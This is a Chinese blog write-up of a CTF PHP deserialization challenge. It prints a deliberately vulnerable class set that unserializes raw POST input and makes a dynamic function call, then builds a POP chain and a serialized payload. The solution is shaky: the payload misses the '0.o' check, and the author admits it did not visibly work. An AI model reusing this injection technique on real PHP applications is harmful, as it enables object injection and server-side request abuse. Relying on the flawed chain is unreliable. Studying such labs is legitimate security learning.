pop链初见

魔术方法

感谢大力支持PHP反序列化之POP链构造🛴 | ch1e的自留地

深入了解:

 PHP之十六个魔术方法详解_php 魔术方法-CSDN博客

一、 __construct(),类的构造函数

二、__destruct(),类的析构函数

三、 __call(),在对象中调用一个不可访问方法时调用。

四、 __callStatic(),用静态方式中调用一个不可访问方法时调用

五、 __get(),获得一个类的成员变量时调用

六、 __set(),设置一个类的成员变量时调用

七、 __isset(),当对不可访问属性调用isset()或empty()时调用

八、 __unset(),当对不可访问属性调用unset()时被调用。

九、 __sleep(),执行serialize()时,先会调用这个函数

十、 __wakeup(),执行unserialize()时,先会调用这个函数

十一、 __toString(),类被当成字符串时的回应方法

十二、 __invoke(),调用函数的方式调用一个对象时的回应方法

十三、 __set_state(),调用var_export()导出类时,此静态方法会被调用。

十四、 __clone(),当对象复制完成时调用

十五、__autoload(),尝试加载未定义的类

十六、__debugInfo(),打印所需调试信息

 __destruct()销毁时机(可能你知道)

引自 [php]对象的销毁时机_php 类的对象在什么适合被销毁-CSDN博客

1.如果程序结束,所有变量都会被销毁,自然,变量所代表的对象也会被销毁。

2.若一个对象没有任何变量指向它,那么即使程序还没有结束,这个对象也会被销毁。

例题

<?php
class Rd
{
    public $ending;
    public $cl;

    public $poc;

    public function __destruct()
    {
        echo "All matters have concluded" . "</br>";
    }

    public function __call($name, $arg)
    {
        foreach ($arg as $key => $value) {

            if ($arg[0]['POC'] == "0.o") {
                $this->cl->var1 = "get";
            }
        }
    }
}

class Poc
{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?" . "</br>";
        file_get_contents($paylaod);
    }
}

class Er
{
    public $symbol;
    public $Flag = 'aHR0cDovLw==';

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', base64_decode($this->Flag))) {
            $value($this->Flag);
        } else {
            echo "NoNoNo,please you can look hint.php" . "</br>";
        }
    }


}

class Ha
{
    public $start;
    public $start1;
    public $start2 = 'o.0';

    public function __construct()
    {
        echo $this->start1 . "__construct" . "</br>";
    }

    public function __destruct()
    {
        if ($this->start2 === "o.0") {
            $this->start1->Love($this->start);
            echo "you are good" . "</br>";
            echo "<script>you got it!!!</script>";

        }
    }
}

function getttt($url) {
    echo "you got it!!!". "</br>";


}


if (isset($_POST['pop'])) {   
    $a = unserialize($_POST['pop']);
} else {
    die("You are Silly goose!");
}

出口为

function getttt($url) {
    echo "you got it!!!". "</br>";
}

看到有四个类Rd,Poc,Er,Ha

Rd

含有方法__destruct(),__call

因为__destruct()中只有echo,其他类中没有可以受其影响的所以可不做考虑

看看__call(调用不可能方法触发)

forech函数:foreach php,详解PHP中foreach的用法和实例-CSDN博客

public function __call($name, $arg)
    {
        foreach ($arg as $key => $value) {

            if ($arg[0]['POC'] == "0.o") {
                $this->cl->var1 = "get";
            }
        }
    }

 在cl下的var1写一个get,但是public中么有为cl定义var1

可见其可以触发__set方法

Poc

含有方法__set(),定义方法getflag()(暂时不用)

看看set方法

public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

调用payload和fun并赋值,观察并不能触发魔术方法

Er

定义flag =为'aHR0cDovLw=='

含有方法__construct(),__set()

看看__construct()

 public function __construct()
    {
        $this->symbol = True;
    }

 给symbol赋值为true

看看__set()

 public function __set($name, $value)
    {
        if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', base64_decode($this->Flag))) {
            $value($this->Flag);
        } else {
            echo "NoNoNo,please you can look hint.php" . "</br>";
        }
    }

 因为flag满足所以else不执行,所以看if即可

调用flag,value并赋值

Ha

含有方法__construct(),__destruct()

定义start2= 'o.0'

看看__construct()

 public function __construct()
    {
        echo $this->start1 . "__construct" . "</br>";
    }

调用start1

看看__destruct()

public function __destruct()
    {
        if ($this->start2 === "o.0") {
            $this->start1->Love($this->start);
            echo "You are Good!" . "</br>";

        }
    }

if条件天然满足,其中调用不存在函数love()(可触发__call)

over

思路

我们审计代码发现除去必定执行的__destruct,__construct

有__call,__set这些选择执行的于是便重点关注

发现call中不仅有我们需要的get还可以触发poc和er类中的set

那就挑一个set使用

再发现er中的set可以直接把get传到value中

于是可以确定调用er,和rd

再因为只有ha可以调用er中的set

这时发现已经可以自己跑了于是确定使用rd,poc,ha

那么删去原本函数

function getttt($url) {
    echo "you got it!!!". "</br>";


}


if (isset($_POST['pop'])) {   
    $a = unserialize($_POST['pop']);
} else {
    die("You are Silly goose!");
}

后调用一下

$A= new Ha;
$B= new Rd;
$C=new Er;

因为要让他们相互影响,所以要让他们包含起来

找一些不必要变量赋值即可

$A->start1=$B;
$B->cl=$C;

发现要满足条件关系让rd代码是可以运行的(正确与否不重要)补充条件

$A->start=array('POC'=>"0");

反序列化输出$A即可

echo serialize ($A);

输出

得到

__construct</br>O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:1:"0";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";b:1;s:4:"Flag";s:12:"aHR0cDovLw==";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}You are Good!</br>All matters have concluded</br>

再得到

O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:1:"0";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";b:1;s:4:"Flag";s:12:"aHR0cDovLw==";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}

开环境看看

??后来发现好像js出问题了

 莫得显示,但无伤大雅

结束!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值